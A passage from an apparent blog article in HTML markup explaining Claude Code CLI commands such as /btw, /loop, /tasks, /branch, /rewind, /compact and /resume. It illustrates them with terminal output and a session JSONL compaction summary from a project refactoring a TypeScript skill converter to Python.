  - The project is a TypeScript/Node.js CLI tool that converts skills from skill.sh to
  clawhub format
  - It has 14 TypeScript modules in src/lib/
  - It has CLI commands in src/commands/
  - It has types in src/types/
  - It has UI in src/ui/
  - There are 94 tests

  For the batch approach, I need to:
  1. Create work units that are independently implementable
  2. Each unit should be in an isolated worktree
  3. Each unit should be mergeable on its own
  4. Each unit should be roughly uniform in size
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/btw&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Instructions entered in the CLI start a long-running process. The process can be interrupted by pressing &lt;code&gt;ESC&lt;/code&gt;, or aborted with &lt;code&gt;ESC-ESC&lt;/code&gt;. If you want to let Claude on a parallel task, the "by-the-way" command can be executed.&lt;/p&gt;

&lt;p&gt;Here is an example for this invocation during the refactoring to Python main task&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/btw list background processes

    I don&lt;span class="s1"&gt;'t have access to any tools to list background processes. As a separate lightweight
    agent without file system or command execution capabilities, I cannot run commands or
    view the system'&lt;/span&gt;s process list.

    You would need to use your terminal&lt;span class="s1"&gt;'s commands directly, such as:
    - ps aux (Linux/macOS)
    - tasklist (Windows)
    - pgrep (to find specific processes)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/loop&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command allows you to run a specififc prompt or other command periodically. This can be helpfull in long running sessions, when you want to e.g. update documents like the &lt;code&gt;CLAUDE.md&lt;/code&gt; file, or run linter or test commands on code bases.&lt;/p&gt;

&lt;p&gt;Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/loop 1m &lt;span class="s2"&gt;"run /init"&lt;/span&gt;

● CronCreate&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;/1 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;: run /init&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Scheduled d6ad1c81 &lt;span class="o"&gt;(&lt;/span&gt;Every minute&lt;span class="o"&gt;)&lt;/span&gt;

● Skill&lt;span class="o"&gt;(&lt;/span&gt;init&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Successfully loaded skill

  Searched &lt;span class="k"&gt;for &lt;/span&gt;3 patterns, &lt;span class="nb"&gt;read &lt;/span&gt;1 file &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● The CLAUDE.md already exists at /opt/claude/universal-skill-converter/CLAUDE.md and appears comprehensive and
  accurate. It includes:

  - Commands: dev, build, &lt;span class="nb"&gt;test&lt;/span&gt;, coverage, typecheck, lint, format
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/tasks&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During investigating complex code bases, or when working with the &lt;code&gt;/batch&lt;/code&gt; command, several parallel running tasks are spawned, including tool calls and agent invocations. They can be observed with the same-named command.&lt;/p&gt;

&lt;p&gt;Here is an example during the above refactoring step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;● Let me explore the codebase more thoroughly to create an effective batch execution plan.

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/package.json&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 50 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/tsconfig.json&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 21 lines

● Search&lt;span class="o"&gt;(&lt;/span&gt;pattern: &lt;span class="s2"&gt;"src/**/*.ts"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Found 18 files
     src/lib/meta.ts
     src/lib/path.ts
     src/lib/slug.ts
     src/lib/errors.ts
     src/lib/fs.ts
     src/lib/migrate.ts
     src/lib/yaml.ts
     src/commands/convert.ts
     src/index.ts
     src/lib/converter.ts
     src/lib/marker.ts
     src/lib/remote.ts
     src/lib/transform.ts
     src/lib/validator.ts
     src/types/index.ts
     src/ui/output.ts
     src/ui/prompts.ts
     src/ui/verbose.ts

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/commands/convert.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 227 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/converter.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 102 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/types/index.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 96 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/ui/output.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 64 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/vitest.config.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 15 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/README.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 314 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/remote.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 334 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/marker.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 61 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/metadata.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/branch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Note: This command's name was &lt;code&gt;/fork&lt;/code&gt; up until &lt;code&gt;Claude Code v2.1.77&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Normally, your prompts and the tools responses form a linear structure. If you are at a decisive point, e.g. during refactoring, and want to investigate different outcomes, you can create a fork from this conversation.&lt;/p&gt;

&lt;p&gt;Executing this command effectively copies your current session to a new one, and prints how to resume the existing one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/fork
 Branched conversation. You are now &lt;span class="k"&gt;in &lt;/span&gt;the branch.
     To resume the original: claude &lt;span class="nt"&gt;-r&lt;/span&gt; d907194e-ba58-4640-9e32-49727cc351b5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/rewind&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Conversations are a linear sequence of user prompts, LLM invocation, and printed answers. Every interaction point, and the state of the current working directory, is stored as an internal snapshot. If, during a longer session, the code base you are working on evolved to an undesired state, you can rollback to any of those snapshots.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/rewind&lt;/code&gt; command first shows you all of these snapshots ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Rewind

 Restore the code and/or conversation to the point before…

   Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
   No code changes

   /model
   No code changes

   Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
   serene-waddling-newt.md +553 &lt;span class="nt"&gt;-2&lt;/span&gt;

 ❯ /batch implement the universal-skill-converter plan
   No code changes

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and the allows cursor navigation to select from where to rebegin. When you make a selection, you are asked what to keep.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Confirm you want to restore to the point before you sent this message:

 │ Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
 │ &lt;span class="o"&gt;(&lt;/span&gt;52m ago&lt;span class="o"&gt;)&lt;/span&gt;

 The conversation will be forked.
 The code will be restored +0 &lt;span class="nt"&gt;-550&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;serene-waddling-newt.md.

 ❯ 1. Restore code and conversation
   2. Restore conversation
   3. Restore code
   4. Summarize from here
   5. Never mind

 ⚠ Rewinding does not affect files edited manually or via bash.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/exit&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The current session can be immediately stopped with this command. The return message will either name the session ID, the session name if you provided one, or if you used the &lt;code&gt;/branch&lt;/code&gt; command, its name.&lt;/p&gt;

&lt;p&gt;For a named session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Resume this session with:
claude &lt;span class="nt"&gt;--resume&lt;/span&gt; &lt;span class="s2"&gt;"refactor-to-python"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And for a branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /exit
Resume this session with:
claude &lt;span class="nt"&gt;--resume&lt;/span&gt; &lt;span class="s2"&gt;"Refactor this app to python. Write the plan file &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;refactor-to-python.md&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; (Branch)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/resume&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;An exited conversation can be resumed either via the CLI flag or when inside a session. Here is an example for the second option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/resume refactor-to-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Context Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/context&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Context is the sum of the loaded &lt;code&gt;CLAUDE.md&lt;/code&gt; files, memory files, prompts, mcp servers, skills, user and system messages. During long sessions, the context fills up, and this command visualizes the accumulated structure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F03ptnx6ezy0raz37lwg4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F03ptnx6ezy0raz37lwg4.png" width="656" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/compact&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/compact&lt;/code&gt; command refreshes the context. But what actually happens when this command is executed? The JSONL session file is amended with a new document. And this document summaries the most important user and system messages. And from then on, any new request that is send to the LLM provider starts with this summary document only, resulting in an alltogether fresh context.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /compact
  ⎿  Compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to see full summary&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/remote.ts &lt;span class="o"&gt;(&lt;/span&gt;334 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/marker.ts &lt;span class="o"&gt;(&lt;/span&gt;61 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read README.md &lt;span class="o"&gt;(&lt;/span&gt;314 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/ui/output.ts &lt;span class="o"&gt;(&lt;/span&gt;64 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Plan file referenced &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/plans/fluttering-growing-lecun.md&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Observe the new document in the session history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"logicalParentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"b165d9aa-6aab-4597-9187-954b7f5c6666"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"system"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"subtype"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"compact_boundary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Conversation compacted"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isMeta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-09T15:58:03.769Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a37533f8-0993-4750-964c-8ba724430fe8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"compactMetadata"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"trigger"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"manual"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"preTokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;54247&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fluttering-growing-lecun"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a37533f8-0993-4750-964c-8ba724430fe8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.
  Summary:
  1. Primary Request and Intent:
     - Refactor the universal-skill-converter app from TypeScript to Python
     - Create plan file &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;refactor-to-python.md&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - Later: Execute the plan using batch mode with parallel workers
     - Maintain all functionality (local and remote conversion, 10-step conversion process)
     - Preserve security features (safe YAML parsing, path validation)
     - Maintain testing coverage (&amp;gt;70% target)
     - Keep identical CLI interface and command names
  2. Key Technical Concepts:
     - TypeScript/Node.js to Python migration
     - CLI framework (Click instead of commander)
     - Data validation (Pydantic instead of Zod)
     - YAML parsing with safe_load equivalent
     - Terminal formatting (Rich instead of picocolors + @clack/prompts)
     - Git operations (GitPython)
     - File system operations (sync instead of async)
     - Layered architecture (CLI, Core, Models, UI layers)
     - Skill format conversion (skill.sh → clawhub)
     - GitHub repository fetching and caching
     - Test-driven development with pytest
  3. Files and Code Sections:
     - `/opt/claude/universal-skill-converter/package.json`
       - Contains project metadata and dependencies
       - Shows current tech stack: commander, js-yaml, zod, @clack/prompts
       - Scripts: dev, build, test, typecheck, lint, format

     - `/opt/claude/universal-skill-converter/tsconfig.json`
       - TypeScript configuration with strict mode enabled
       - ESNext target with bundler module resolution

     - `/opt/claude/universal-skill-converter/src/commands/convert.ts`
       - Main CLI command implementation (226 lines)
       - Handles remote/local source detection
       - Options: path, output, force, verbose, json, skill, ref, keep-temp
       - Command structure: `skill-convert convert &amp;lt;path-or-url&amp;gt;`

     - `/opt/claude/universal-skill-converter/src/lib/converter.ts`
       - Conversion orchestrator (101 lines)
       - 10-step conversion process: marker check, validation, file reading, directory creation, metadata generation, transformation, migration, license copy, scripts copy, marker creation

     - `/opt/claude/universal-skill-converter/src/types/index.ts`
       - Zod schemas for type safety
       - ConvertOptionsSchema, SkillShFrontmatterSchema, ClawhubFrontmatterSchema, MetaJsonSchema, ConversionMarkerSchema, ConversionResultSchema, ValidationResultSchema, ConversionContextSchema

     - `/opt/claude/universal-skill-converter/src/lib/remote.ts`
       - GitHub repository handling (333 lines)
       - Functions: parseRemoteSource, isRemoteSource, validateGitInstalled, validateGitHubRepo, fetchGitHubRepo, fetchRemoteSkill, retryWithBackoff
       - Caching in ~/.skill-convert/cache/ for 24 hours

     - `/opt/claude/universal-skill-converter/src/lib/marker.ts`
       - Conversion tracking with .converted_from_skillsh marker file
       - Functions: readConversionMarker, writeConversionMarker, isAlreadyConverted, removeConversionMarker

     - `/home/node/.claude/plans/serene-waddling-newt.md`
       - Comprehensive Python refactoring plan
       - Detailed file structure mapping (14 TypeScript modules → Python equivalents)
       - Module-by-module implementation details
       - Testing strategy with pytest
       - Migration phases and timeline (~12 hours)
  4. Errors and fixes:
     - No technical errors encountered during conversation
     - User feedback: When I attempted to exit plan mode, user said &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;No&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; and indicated they didn't want the plan executed at that time
     - User later provided specific preferences: Click framework, identical interface, &amp;gt;70% coverage, sync I/O
  5. Problem Solving:
     - Analyzed existing TypeScript codebase architecture to understand conversion requirements
     - Designed Python equivalent tech stack (Click, Pydantic, Rich, GitPython)
     - Mapped TypeScript modules to Python equivalents
     - Created detailed implementation plan with work units for parallel execution
     - Established testing strategy with pytest and temporary directory isolation
  6. All user messages:
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Refactor this app to python. Write the plan file 'refactor-to-python.md'&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - User answers to design questions: Click framework, identical interface, &amp;gt;70% coverage, sync I/O
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;No, don't execute the plan.&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; (via /batch command)
  7. Pending Tasks:
     - Complete the batch execution plan with work unit decomposition
     - Determine e2e test recipe for verifying conversions
     - Exit plan mode and spawn parallel workers for implementation
     - Track progress of multiple workers implementing different modules
     - Create pull requests for each work unit
  8. Current Work:
     I was in the middle of creating a detailed batch execution plan after the user issued the &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;/batch implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; command. I had:
     - Explored additional files (remote.ts, marker.ts, meta.ts)
     - Started analyzing the codebase for work unit decomposition
     - Was preparing to create a plan file with 15-30 independent, mergeable work units
     - Was designing the e2e test recipe for conversion verification
     - Had entered plan mode and was in the exploration phase
  9. Optional Next Step:
     Continue the batch execution planning by:
     1. Completing the work unit decomposition (creating 15-20 independent units covering project setup, core modules, models, UI layer, CLI layer, and testing)
     2. Designing the e2e test recipe (CLI verification commands, test skill conversion workflow)
     3. Writing the complete plan file to /home/node/.claude/plans/serene-waddling-newt.md
     4. Exiting plan mode to present the plan for approval

     Based on the user's explicit request: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; via batch mode, the next step should focus on finalizing the detailed execution plan for parallel worker implementation.
  If you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/node/.claude/projects/-opt-claude-universal-skill-converter/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.jsonl"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isVisibleInTranscriptOnly"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isCompactSummary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9eb02f5b-d4a9-4352-9f64-f1ba5975cecf"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-09T15:58:03.769Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
